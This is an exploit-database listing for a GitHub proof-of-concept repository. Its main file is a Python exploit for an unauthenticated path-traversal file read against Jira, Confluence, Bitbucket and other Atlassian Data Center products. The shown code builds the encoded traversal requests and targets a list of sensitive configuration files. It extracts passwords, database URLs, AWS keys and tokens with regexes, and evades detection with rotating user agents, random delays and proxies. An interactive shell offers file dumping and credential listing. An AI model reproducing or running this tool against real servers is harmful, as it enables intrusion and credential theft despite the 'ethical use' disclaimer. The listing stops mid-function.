Exploit database

GH-5085626dc160898e89c11ea5c782458f

tc4dy/cve-2026-21589-poc-exploit

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-21589

9 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files7
tc4dy/cve-2026-21589-poc-exploitRevision 6690ca1a0b10

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Python · 57,647 bytes
#only ethcal & safety uses :p, by @tc4dy if wnt blue team/advanced scanner tool go safecheck.py
#added new payload, better UA, interactive shell, bug fix, good uses

import os
import re
import sys
import json
import csv
import time
import socket
import shlex
import random
import logging
import argparse
import ipaddress
import threading
import urllib.parse
from datetime import datetime, timezone
from concurrent.futures import ThreadPoolExecutor, as_completed
from logging.handlers import RotatingFileHandler

try:
    import http.client as httplib
    import ssl as ssl_mod
except ImportError:
    sys.stderr.write("stdlib http.client missing\n")
    sys.exit(1)

try:
    import socks as socks_lib
    socks_available = True
except ImportError:
    socks_available = False
    socks_lib = None

try:
    import readline as _readline
    has_readline = True
except ImportError:
    _readline = None
    has_readline = False

red     = "\033[91m"
green   = "\033[92m"
yellow  = "\033[93m"
blue    = "\033[94m"
magenta = "\033[95m"
cyan    = "\033[96m"
white   = "\033[97m"
bold    = "\033[1m"
dim     = "\033[2m"
rst     = "\033[0m"

banner = f"""{red}{bold}
══════════════════════════════════════════════════════════════════════════════════════
{rst}{cyan}{bold}                            CVE-2026-21589
{rst}{white}{bold}          Atlassian Data Center Unauthenticated File Read
{rst}{yellow}{bold}                        CVSS 9.3 (Critical)
{rst}{red}{bold}══════════════════════════════════════════════════════════════════════════════════════
{rst}{magenta}{bold}            only ethcal & safety uses :p, by @tc4dy <3
{rst}{red}{bold}══════════════════════════════════════════════════════════════════════════════════════
{rst}"""

user_agents = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0",
    "Mozilla/5.0 (X11; Linux x86_64; rv:122.0) Gecko/20100101 Firefox/122.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/120.0.2210.91",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/121.0.2277.83",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Edge/120.0.2210.91",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/121.0.2277.83",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36",
]

products = {
    "jira": {
        "anchor": "jira.webresources:color-picker-popup/images/",
        "route": "resources",
        "prefix": "",
        "depth": 5,
        "marker": "com.atlassian.jira.web.ServletContextProviderListener",
        "default_file": "WEB-INF/web.xml",
    },
    "confluence": {
        "anchor": "com.atlassian.confluence.plugins.dashboard-actions/images/",
        "route": "resources",
        "prefix": "s/1/_/download/",
        "depth": 9,
        "marker": "com.atlassian.confluence.impl.webapp.ServletsInitializer",
        "default_file": "WEB-INF/web.xml",
    },
    "bitbucket": {
        "anchor": "com.atlassian.bitbucket.server.bitbucket-webpack-INTERNAL:avatar/avatar/",
        "route": "resources",
        "prefix": "s/1.0/_/download/",
        "depth": 6,
        "marker": "com.atlassian.plugin.servlet.ResourceDownloadUtils",
        "default_file": "WEB-INF/urlrewrite.xml",
    },
    "bamboo": {
        "anchor": "com.atlassian.bamboo.plugins.bamboo-web:webapp/images/",
        "route": "resources",
        "prefix": "",
        "depth": 5,
        "marker": "com.atlassian.bamboo",
        "default_file": "WEB-INF/web.xml",
    },
    "crowd": {
        "anchor": "com.atlassian.crowd.console:console/images/",
        "route": "resources",
        "prefix": "",
        "depth": 5,
        "marker": "com.atlassian.crowd",
        "default_file": "WEB-INF/web.xml",
    },
    "crucible": {
        "anchor": "com.atlassian.crucible.plugin:crucible-web/images/",
        "route": "resources",
        "prefix": "",
        "depth": 5,
        "marker": "com.atlassian.crucible",
        "default_file": "WEB-INF/web.xml",
    },
    "fisheye": {
        "anchor": "com.atlassian.fisheye.plugin:fisheye-web/images/",
        "route": "resources",
        "prefix": "",
        "depth": 5,
        "marker": "com.atlassian.fisheye",
        "default_file": "WEB-INF/web.xml",
    },
}

sensitive_files = [
    "WEB-INF/web.xml",
    "WEB-INF/urlrewrite.xml",
    "WEB-INF/classes/seraph-config.xml",
    "WEB-INF/classes/atlassian-init.xml",
    "WEB-INF/classes/entityengine.xml",
    "WEB-INF/classes/jira-application.properties",
    "WEB-INF/classes/confluence-init.properties",
    "WEB-INF/classes/crowd.properties",
    "WEB-INF/classes/bamboo.cfg.xml",
    "WEB-INF/classes/bitbucket.properties",
    "WEB-INF/classes/application.properties",
    "WEB-INF/classes/database.properties",
    "WEB-INF/classes/security.xml",
    "WEB-INF/classes/log4j.properties",
    "WEB-INF/classes/log4j2.xml",
]

credential_patterns = [
    (re.compile(r"(?i)jdbc[:.][^\s\"']+"), "JDBC URL"),
    (re.compile(r"(?i)\b(?:password|passwd|pwd)\s*[=:]\s*[^\s\"'<>]+"), "password"),
    (re.compile(r"(?i)\b(?:secret|token|api[_-]?key)\s*[=:]\s*[^\s\"'<>]+"), "token/secret"),
    (re.compile(r"(?i)\b(?:username|user|db[_-]?user)\s*[=:]\s*[^\s\"'<>]+"), "username"),
    (re.compile(r"(?i)-----BEGIN [A-Z ]+PRIVATE KEY-----"), "private key"),
    (re.compile(r"\bAKIA[0-9A-Z]{16}\b"), "AWS access key"),
    (re.compile(r"\beyJ[a-zA-Z0-9_-]*\.eyJ[a-zA-Z0-9_-]*\.[a-zA-Z0-9_-]*\b"), "JWT"),
]

encodings_to_try = ["..%3a%3a", "..::"]

DNS_CACHE_MAX = 10000

waf_status_codes = {401, 403, 406, 429, 503}

shell_commands = [
    "info", "session", "ls", "files", "enum",
    "cat", "read", "head", "tail", "grep",
    "download", "save", "probe", "exists",
    "set", "show", "creds", "dump", "report",
    "clear", "cls", "help", "?", "exit", "quit", "q",
]

shell_paths = list(sensitive_files) + [
    "WEB-INF/classes/",
    "WEB-INF/lib/",
    "META-INF/",
    "META-INF/MANIFEST.MF",
]

log = logging.getLogger("exploit")
log.setLevel(logging.DEBUG)
log.propagate = False
_stream = logging.StreamHandler(sys.stdout)
_stream.setFormatter(logging.Formatter("%(message)s"))
log.addHandler(_stream)
try:
    _file = RotatingFileHandler("exploit.log", maxBytes=10 * 1024 * 1024, backupCount=3, encoding="utf-8")
    _file.setFormatter(logging.Formatter("%(asctime)s [%(threadName)s] %(levelname)s %(message)s"))
    log.addHandler(_file)
except (OSError, IOError):
    pass

out_lock = threading.Lock()
_dns_cache = {}
_dns_order = []
_dns_lock = threading.Lock()
_ua_lock = threading.Lock()

class Rate:
    def __init__(self, rps=0.0):
        try:
            self.gap = 1.0 / float(rps) if rps and float(rps) > 0 else 0.0
        except (ValueError, TypeError):
            self.gap = 0.0
        self._last = 0.0
        self._lock = threading.Lock()

    def wait(self):
        if self.gap <= 0:
            return
        with self._lock:
            now = time.monotonic()
            if now < self._last:
                time.sleep(self._last - now)
                now = time.monotonic()
            self._last = now + self.gap

class Stealth:
    def __init__(self, enabled=False, min_delay=0.05, max_delay=0.75):
        self.enabled = bool(enabled)
        self.min_delay = max(0.0, float(min_delay))
        self.max_delay = max(self.min_delay, float(max_delay))
        self._lock = threading.Lock()

    def pause(self):
        if not self.enabled:
            return
        try:
            time.sleep(random.uniform(self.min_delay, self.max_delay))
        except Exception:
            pass

stealth = None
throttle = None

def ok(msg):
    with out_lock:
        sys.stdout.write(f"\r{' ' * 100}\r")
        print(f"{green}[+]{rst} {msg}", flush=True)
    log.info(msg)

def bad(msg):
    with out_lock:
        sys.stdout.write(f"\r{' ' * 100}\r")
        print(f"{red}[-]{rst} {msg}", flush=True)
    log.error(msg)

def info(msg):
    with out_lock:
        sys.stdout.write(f"\r{' ' * 100}\r")
        print(f"{cyan}[*]{rst} {msg}", flush=True)
    log.info(msg)

def warn(msg):
    with out_lock:
        sys.stdout.write(f"\r{' ' * 100}\r")
        print(f"{yellow}[!]{rst} {msg}", flush=True)
    log.warning(msg)

def dbg(msg):
    if getattr(sys, "_verbose", False):
        with out_lock:
            print(f"{dim}[d]{rst} {msg}", flush=True)
    log.debug(msg)

def hit(msg):
    with out_lock:
        print()
        print(f"{red}{'█' * 60}{rst}")
        print(f"{red}{bold}  [!] {msg}{rst}")
        print(f"{red}{'█' * 60}{rst}")
        print()
    log.critical(msg)

def next_ua():
    with _ua_lock:
        return random.choice(user_agents)

def resolve_family(host, port):
    key = (host, port)
    with _dns_lock:
        if key in _dns_cache:
            return _dns_cache[key]
    try:
        addr_info = socket.getaddrinfo(host, port, socket.AF_UNSPEC, socket.SOCK_STREAM)
        family = addr_info[0][0] if addr_info else socket.AF_INET
    except Exception:
        family = socket.AF_INET
    with _dns_lock:
        if key not in _dns_cache:
            _dns_cache[key] = family
            _dns_order.append(key)
            if len(_dns_order) > DNS_CACHE_MAX:
                oldest = _dns_order.pop(0)
                _dns_cache.pop(oldest, None)
    return family

def make_proxy_socket(host, port, proxy_url, timeout=15.0):
    if not socks_available:
        raise RuntimeError("PySocks not installed - pip install pysocks")
    p = proxy_url.strip()
    if "://" not in p:
        raise ValueError(f"invalid proxy: {proxy_url}")
    scheme, rest = p.split("://", 1)
    scheme = scheme.lower()
    if "@" in rest:
        _, rest = rest.rsplit("@", 1)
    if ":" in rest:
        phost, pport = rest.rsplit(":", 1)
        pport = int(pport)
    else:
        phost = rest
        pport = 1080 if scheme in ("socks5", "socks4") else 8080
    family = resolve_family(host, port)
    s = socks_lib.socksocket(family, socket.SOCK_STREAM)
    if scheme == "socks5":
        s.set_proxy(socks_lib.SOCKS5, phost, pport)
    elif scheme == "socks4":
        s.set_proxy(socks_lib.SOCKS4, phost, pport)
    elif scheme in ("http", "https"):
        s.set_proxy(socks_lib.HTTP, phost, pport)
    else:
        raise ValueError(f"unsupported proxy scheme: {scheme}")
    s.settimeout(timeout)
    s.connect((host, port))
    return s

def build_path(anchor, route, prefix, depth, target_file, encoding="..%3a%3a"):
    traversal = encoding * depth
    if prefix:
        return f"/{prefix}{route}/{anchor}{traversal}{target_file}"
    return f"/download/{route}/{anchor}{traversal}{target_file}"

def fetch_http(base_url, path, timeout, proxy_url=None):
    u = urllib.parse.urlsplit(base_url)
    host = u.hostname or ""
    port = u.port or (443 if u.scheme == "https" else 80)
    if not host:
        raise ValueError("invalid target URL")
    conn = None
    try:
        if proxy_url:
            raw = make_proxy_socket(host, port, proxy_url, timeout)
            if u.scheme == "https":
                ctx = ssl_mod._create_unverified_context()
                conn = httplib.HTTPSConnection(host, port, context=ctx, timeout=timeout)
                conn.sock = ctx.wrap_socket(raw, server_hostname=host)
            else:
                conn = httplib.HTTPConnection(host, port, timeout=timeout)
                conn.sock = raw
        else:
            if u.scheme == "https":
                ctx = ssl_mod._create_unverified_context()
                conn = httplib.HTTPSConnection(host, port, context=ctx, timeout=timeout)
            else:
                conn = httplib.HTTPConnection(host, port, timeout=timeout)
        headers = {
            "User-Agent": next_ua(),
            "Accept": "*/*",
            "Accept-Language": "en-US,en;q=0.9",
            "Connection": "close",
        }
        conn.request("GET", path, headers=headers)
        resp = conn.getresponse()
        body = resp.read()
        status = resp.status
        headers = dict(resp.getheaders())
        return status, headers, body
    finally:
        if conn is not None:
            try:
                conn.close()
            except Exception:
                pass

def fetch_with_retry(base_url, path, timeout, retries, proxy_url=None):
    last_err = None
    for attempt in range(retries):
        try:
            return fetch_http(base_url, path, timeout, proxy_url)
        except (socket.gaierror, ConnectionRefusedError, ssl_mod.SSLError) as exc:
            raise
        except (socket.timeout, OSError, httplib.HTTPException) as exc:
            last_err = exc
            dbg(f"attempt {attempt + 1}/{retries} failed: {exc}")
            if attempt < retries - 1:
                time.sleep(0.5 * (attempt + 1))
    raise last_err if last_err else RuntimeError("fetch failed")

def extract_credentials(content):
    found = []
    if isinstance(content, bytes):
        try:
            content = content.decode("utf-8", "replace")
        except Exception:
            return found
    for pattern, label in credential_patterns:
        for match in pattern.finditer(content):
            found.append({"type": label, "value": match.group(0)[:200]})
    return found

def is_valid_content(body, target_file):
    if not body:
        return False
    text = body.decode("utf-8", "replace") if isinstance(body, bytes) else body
    head = text[:4096].lower()
    if "<html" in head or "<!doctype html" in head:
        return False
    if target_file.endswith(".xml"):
        if "<web-app" in head or "<?xml" in head or "<urlrewrite" in head:
            return True
        if "servlet" in head and "class" in head:
            return True
        return False
    if target_file.endswith(".properties"):
        lines = text.splitlines()
        kv_count = 0
        for line in lines[:100]:
            stripped = line.strip()
            if not stripped or stripped.startswith("#"):
                continue
            if "=" in stripped or ":" in stripped:
                kv_count += 1
        return kv_count >= 3
    if target_file.endswith(".cfg"):
        return "<?xml" in head or "=" in head or ":" in head
    if len(text) < 50:
        return False
    printable = sum(1 for c in text[:1000] if c.isprintable() or c in "\n\r\t")
    return printable / min(len(text), 1000) > 0.8

def classify_status(status):
    if status == 0:
        return "error"
    if status == 200:
        return "ok"
    if status == 404:
        return "missing"
    if status == 500:
        return "wrong-depth"
    if status in waf_status_codes:
        return "waf-block"
    if 300 <= status < 400:
        return "redirect"
    return "other"

def probe_product(target, key, timeout, retries, proxy_url=None, encoding="..%3a%3a"):
    info = products.get(key)
    if not info:
        return None
    try:
        depth = info["depth"]
        route = info.get("route", "resources")
        prefix = info.get("prefix", "")
        path = build_path(info["anchor"], route, prefix, depth, info["default_file"], encoding)
        status, headers, body = fetch_with_retry(target, path, timeout, retries, proxy_url)
    except Exception as exc:
        dbg(f"{key} probe failed ({encoding}): {exc}")
        return None
    dbg(f"{key} probe ({encoding}) -> {status} ({len(body) if body else 0} bytes)")
    if status != 200 or not body:
        return None
    text = body.decode("utf-8", "replace") if isinstance(body, bytes) else body
    marker = info.get("marker", "")
    if not marker or marker not in text:
        dbg(f"{key} probe -> 200 but marker not found")
        return None
    if not is_valid_content(body, info["default_file"]):
        dbg(f"{key} probe -> 200 but content invalid")
        return None
    return (key, status, len(body), encoding)

def detect_product(target, timeout, retries, proxy_url=None):
    hits = []
    keys = list(products.keys())
    tasks = []
    for key in keys:
        for enc in encodings_to_try:
            tasks.append((key, enc))
    with ThreadPoolExecutor(max_workers=len(tasks)) as tpool:
        futures = {tpool.submit(probe_product, target, k, timeout, retries, proxy_url, e): (k, e) for k, e in tasks}
        try:
            for fut in as_completed(futures):
                try:
                    result = fut.result()
                except Exception as exc:
                    dbg(f"probe task error: {exc}")
                    continue
                if result:
                    hits.append(result)
        except KeyboardInterrupt:
            for f in futures:
                f.cancel()
    return hits

def read_file(target, product_key, target_file, depth, timeout, retries, proxy_url=None, encoding="..%3a%3a"):
    info = products.get(product_key)
    if not info:
        raise ValueError(f"unknown product {product_key}")
    target_file = target_file.replace("::", "/")
    anchor = info["anchor"]
    route = info.get("route", "resources")
    prefix = info.get("prefix", "")
    actual_depth = depth
    path = build_path(anchor, route, prefix, actual_depth, target_file, encoding)
    status, headers, body = fetch_with_retry(target, path, timeout, retries, proxy_url)
    return status, headers, body, path

def _short_host(url):
    try:
        return urllib.parse.urlsplit(url).netloc or url
    except Exception:
        return url

def _rl_wrap(s):
    if has_readline:
        return f"\001{s}\002"
    return s

def _fmt_size(n):
    try:
        n = float(n)
    except (ValueError, TypeError):
        return "?"
    for unit in ("B", "KB", "MB", "GB"):
        if n < 1024:
            return f"{int(n)}B" if unit == "B" else f"{n:.1f}{unit}"
        n /= 1024
    return f"{n:.1f}TB"

class ShellSession:
    def __init__(self, base_url, product, encoding, depth, marker, args):
        self.base_url = base_url.rstrip("/")
        self.product = product if product in products else "jira"
        self.encoding = encoding if encoding in encodings_to_try else encodings_to_try[0]
        self.depth = int(depth) if depth else products[self.product]["depth"]
        self.marker = marker or ""
        self.args = args
        self.files = {}
        self.credentials = []
        self.start = time.time()
        self.read_count = 0
        self.probe_count = 0
        self.miss_count = 0
        self.waf_count = 0

def _make_prompt(s):
    host = _short_host(s.base_url)
    return "".join([
        _rl_wrap(green), "mitsec", _rl_wrap(rst),
        "@",
        _rl_wrap(cyan), host, _rl_wrap(rst),
        "[",
        _rl_wrap(magenta), s.product, _rl_wrap(rst),
        "|",
        _rl_wrap(yellow), f"d={s.depth}", _rl_wrap(rst),
        "|",
        _rl_wrap(dim), s.encoding, _rl_wrap(rst),
        "] ",
        _rl_wrap(bold), "▶", _rl_wrap(rst),
        " ",
    ])

def _completer(text, state):
    try:
        buf = _readline.get_line_buffer()[: _readline.get_endidx()]
    except Exception:
        buf = text
    tokens = buf.split()
    if not tokens or (len(tokens) == 1 and not buf.endswith(" ")):
        options = [c for c in shell_commands if c.startswith(text)]
    else:
        options = [p for p in shell_paths if p.startswith(text)]
    if state < len(options):
        return options[state]
    return None

def _setup_readline():
    if not has_readline:
        return None
    histfile = os.path.expanduser("~/.exploit_history")
    try:
        _readline.read_history_file(histfile)
    except (OSError, IOError):
        pass
    _readline.set_history_length(2000)
    _readline.set_completer(_completer)
    try:
        _readline.set_completer_delims(" \t\n")
    except Exception:
        pass
    for bind in ("tab: complete", "set show-all-if-ambiguous on", "set completion-ignore-case on"):
        try:
            _readline.parse_and_bind(bind)
        except Exception:
            pass
    return histfile

def _save_history(histfile):
    if not has_readline or not histfile:
        return
    try:
        _readline.write_history_file(histfile)
    except (OSError, IOError):
        pass

def _make_path(s, raw_path):
    info = products.get(s.product)
    if not info:
        raise ValueError(f"unknown product: {s.product}")
    anchor = info["anchor"]
    route = info.get("route", "resources")
    prefix = info.get("prefix", "")
    p = raw_path.strip().lstrip("/").replace("::", "/")
    if not p:
        raise ValueError("empty path")
    if "/" not in p and not p.startswith("WEB-INF") and not p.startswith("META-INF"):
        if p.endswith((".xml", ".properties", ".cfg", ".config")):
            p = "WEB-INF/classes/" + p
        else:
            p = "WEB-INF/" + p
    traversal = s.encoding * s.depth
    if prefix:
        return f"/{prefix}{route}/{anchor}{traversal}{p}"
    return f"/download/{route}/{anchor}{traversal}{p}"

def _fetch(s, path):
    return fetch_with_retry(s.base_url, path, s.args.timeout, s.args.retries, s.args.proxy)

def _try_read(s, raw_path, use_cache=True):
    if use_cache and raw_path in s.files:
        return 200, s.files[raw_path]
    try:
        path = _make_path(s, raw_path)
    except ValueError:
        return 0, None
    s.probe_count += 1
    try:
        code, headers, body = _fetch(s, path)
    except (socket.gaierror, ConnectionRefusedError, ssl_mod.SSLError):
        return 0, None
    except Exception:
        return 0, None
    s.read_count += 1
    if code in waf_status_codes:
        s.waf_count += 1
        dbg(f"WAF block on {raw_path} (http={code})")
        return code, None
    if code != 200 or not body:
        s.miss_count += 1
        return code, None
    if not is_valid_content(body, raw_path):
        return code, None
    text = body.decode("utf-8", "replace") if isinstance(body, bytes) else body
    s.files[raw_path] = text
    return code, text

def _shell_banner(s):
    print()
    print(f"{red}{'─' * 72}{rst}")
    print(f"  {bold}{red}INTERACTIVE SHELL{rst}  ·  {bold}CVE-2026-21589{rst}  ·  {dim}mitsec{rst}")
    print(f"{red}{'─' * 72}{rst}")
    print(f"  {cyan}target  {rst}: {white}{s.base_url}{rst}")
    print(f"  {cyan}product {rst}: {white}{s.product}{rst}")
    print(f"  {cyan}depth   {rst}: {white}{s.depth}{rst}")
    print(f"  {cyan}encoding{rst}: {white}{s.encoding}{rst}")
    print(f"  {dim}type 'help' for commands · Ctrl+D to exit{rst}")
    print(f"{red}{'─' * 72}{rst}")
    print()

def _cmd_help(s, args):
    rows = [
        ("info",                    "show target details"),
        ("session",                 "show session statistics"),
        ("ls | files | enum",       "probe common sensitive files"),
        ("cat | read <path>",       "read file and print full content"),
        ("head <path> [n]",         "show first n lines (default 40)"),
        ("tail <path> [n]",         "show last n lines (default 40)"),
        ("grep <pat> <path>",       "search pattern inside file"),
        ("probe | exists <path>",   "check if file is readable"),
        ("download | save <p> [f]", "save file to disk"),
        ("set depth <n>",           "change traversal depth (1..32)"),
        ("set encoding <enc>",      "..%3a%3a  or  ..::"),
        ("set product <name>",      "jira|confluence|bitbucket|bamboo|crowd|crucible|fisheye"),
        ("show",                    "show current config"),
        ("creds",                   "list extracted credentials"),
        ("dump [dir]",              "dump all sensitive files to directory"),
        ("report [path]",           "save session report as JSON"),
        ("clear | cls",             "clear terminal"),
        ("help | ?",                "this help"),
        ("exit | quit | q",         "exit shell"),
    ]
    print()
    print(f"{cyan}  ╭─ COMMANDS {'─' * 56}╮{rst}")
    for cmd, desc in rows:
        print(f"{cyan}  │{rst}  {green}{cmd:<26}{rst}{dim}{desc}{rst}")
    print(f"{cyan}  ╰{'─' * 67}╯{rst}")
    print()

def _cmd_info(s, args):
    anchor = products.get(s.product, {}).get("anchor", "?")
    print()
    print(f"{cyan}  target    {rst}: {white}{s.base_url}{rst}")
    print(f"{cyan}  host      {rst}: {white}{_short_host(s.base_url)}{rst}")
    print(f"{cyan}  product   {rst}: {magenta}{s.product}{rst}")
    print(f"{cyan}  encoding  {rst}: {yellow}{s.encoding}{rst}")
    print(f"{cyan}  depth     {rst}: {yellow}{s.depth}{rst}")
    print(f"{cyan}  marker    {rst}: {dim}{s.marker or '-'}{rst}")
    print(f"{cyan}  anchor    {rst}: {dim}{anchor}{rst}")
    print()

def _cmd_session(s, args):
    elapsed = time.time() - s.start
    print()
    print(f"{cyan}  ╭─ SESSION {'─' * 57}╮{rst}")
    print(f"{cyan}  │{rst}  elapsed        : {white}{elapsed:.1f}s{rst}")
    print(f"{cyan}  │{rst}  requests sent  : {white}{s.read_count + s.probe_count}{rst}")
    print(f"{cyan}  │{rst}  files read     : {white}{len(s.files)}{rst}")
    print(f"{cyan}  │{rst}  misses         : {white}{s.miss_count}{rst}")
    print(f"{cyan}  │{rst}  waf blocks     : {yellow}{s.waf_count}{rst}")
    print(f"{cyan}  │{rst}  credentials    : {magenta}{len(s.credentials)}{rst}")
    print(f"{cyan}  ╰{'─' * 67}╯{rst}")
    print()

def _cmd_ls(s, args):
    total = len(sensitive_files)
    print(f"{dim}  probing {total} paths on {s.product}/{s.encoding}/d={s.depth}...{rst}")
    found = 0
    for f in sensitive_files:
        try:
            code, body = _try_read(s, f)
        except Exception as e:
            print(f"{red}  ERR  {rst}  {f}  {dim}({e}){rst}")
            continue
        if body:
            found += 1
            size = _fmt_size(len(body))
            print(f"{green}  FOUND{rst}  {f:<52} {dim}{size}{rst}")
        else:
            if code == 0:
                tag = f"{red}error{rst}"
            else:
                kind = classify_status(code)
                tag = f"{yellow}{kind}{rst}" if kind != "missing" else f"{dim}missing{rst}"
            print(f"  miss   {f:<52} {tag}")
    if found:
        ok(f"{found}/{total} readable")
    else:
        warn(f"0/{total} readable at current depth/encoding")

def _cmd_cat(s, args):
    if not args:
        bad("usage: cat <path>")
        return
    raw = args[0]
    code, body = _try_read(s, raw)
    if not body:
        bad(f"no file: {raw} (http={code}, {classify_status(code)})")
        return
    creds = extract_credentials(body)
    if creds:
        for c in creds:
            s.credentials.append({"path": raw, "type": c["type"], "value": c["value"]})
        ok(f"{raw}  {_fmt_size(len(body))}  {magenta}{len(creds)} creds{rst}")
    else:
        ok(f"{raw}  {_fmt_size(len(body))}")
    print(f"{cyan}  ┌─ {raw} {'─' * max(0, 60 - len(raw))}{rst}")
    for line in body.splitlines():
        print(f"{dim}  │{rst} {line}")
    print(f"{cyan}  └{'─' * 64}{rst}")

def _cmd_head(s, args):
    if not args:
        bad("usage: head <path> [n]")
        return
    raw = args[0]
    n = 40
    if len(args) > 1:
        try:
            n = int(args[1])
            if n < 1:
                n = 40
        except ValueError:
            bad("invalid line count")
            return
    code, body = _try_read(s, raw)
    if not body:
        bad(f"no file: {raw} (http={code}, {classify_status(code)})")
        return
    lines = body.splitlines()
    shown = lines[:n]
    print(f"{cyan}  ┌─ {raw} (first {len(shown)}/{len(lines)}) {'─' * max(0, 40 - len(raw))}{rst}")
    for line in shown:
        print(f"{dim}  │{rst} {line}")
    print(f"{cyan}  └{'─' * 64}{rst}")

def _cmd_tail(s, args):
    if not args:
        bad("usage: tail <path> [n]")
        return
    raw = args[0]
    n = 40
    if len(args) > 1:
        try:
            n = int(args[1])
            if n < 1:
                n = 40
        except ValueError:
            bad("invalid line count")
            return
    code, body = _try_read(s, raw)
    if not body:
        bad(f"no file: {raw} (http={code}, {classify_status(code)})")
        return
    lines = body.splitlines()
    shown = lines[-n:]
    print(f"{cyan}  ┌─ {raw} (last {len(shown)}/{len(lines)}) {'─' * max(0, 40 - len(raw))}{rst}")
    for line in shown:
        print(f"{dim}  │{rst} {line}")
    print(f"{cyan}  └{'─' * 64}{rst}")

def _cmd_grep(s, args):
    if len(args) < 2:
        bad("usage: grep <pattern> <path>")
        return
    pattern, raw = args[0], args[1]
    try:
        rx = re.compile(pattern)
    except re.error as e:
        bad(f"bad regex: {e}")
        return
    code, body = _try_read(s, raw)
    if not body:
        bad(f"no file: {raw} (http={code}, {classify_status(code)})")
        return
    matched = []
    for i, line in enumerate(body.splitlines(), 1):
        try:
            if rx.search(line):
                matched.append((i, line))
        except Exception:
            continue
    if not matched:
        warn(f"no matches for /{pattern}/ in {raw}")
        return
    ok(f"{len(matched)} match(es) for /{pattern}/ in {raw}")
    print(f"{cyan}  ┌─ grep {'─' * 57}{rst}")
    for n, line in matched[:500]:
        print(f"{dim}  {n:>5}{rst}  {line}")
    if len(matched) > 500:
        print(f"{dim}  ... {len(matched) - 500} more{rst}")
    print(f"{cyan}  └{'─' * 64}{rst}")

def _cmd_probe(s, args):
    if not args:
        bad("usage: probe <path>")
        return
    raw = args[0]
    try:
        path = _make_path(s, raw)
    except ValueError as e:
        bad(str(e))
        return
    s.probe_count += 1
    try:
        code, headers, body = _fetch(s, path)
    except (socket.gaierror, ConnectionRefusedError) as e:
        bad(f"network error: {e}")
        return
    except ssl_mod.SSLError as e:
        bad(f"tls error: {e}")
        return
    except Exception as e:
        bad(f"probe failed: {e}")
        return
    kind = classify_status(code)
    if code in waf_status_codes:
        s.waf_count += 1
        warn(f"WAF block on {raw} (http={code})")
        return
    if code == 200 and body:
        if is_valid_content(body, raw):
            s.files[raw] = body.decode("utf-8", "replace")
            ok(f"FOUND  {raw}  {_fmt_size(len(body))}")
        else:
            warn(f"200 but content invalid: {raw}")
    else:
        info(f"{raw} -> http={code} ({kind})")

def _cmd_download(s, args):
    if not args:
        bad("usage: download <path> [local]")
        return
    raw = args[0]
    local = args[1] if len(args) > 1 else os.path.basename(raw)
    code, body = _try_read(s, raw)
    if not body:
        bad(f"no file: {raw} (http={code}, {classify_status(code)})")
        return
    try:
        with open(local, "w", encoding="utf-8", errors="replace") as fh:
            fh.write(body)
        ok(f"saved {_fmt_size(len(body))} -> {local}")
    except (OSError, IOError) as e:
        bad(f"write error: {e}")

def _cmd_set(s, args):
    if len(args) < 2:
        bad("usage: set depth|encoding|product <value>")
        return
    key, value = args[0].lower(), args[1]
    if key == "depth":
        try:
            d = int(value)
        except ValueError:
            bad("depth must be integer")
            return
        if d < 1 or d > 32:
            bad("depth must be 1..32")
            return
        s.depth = d
        ok(f"depth = {d}")
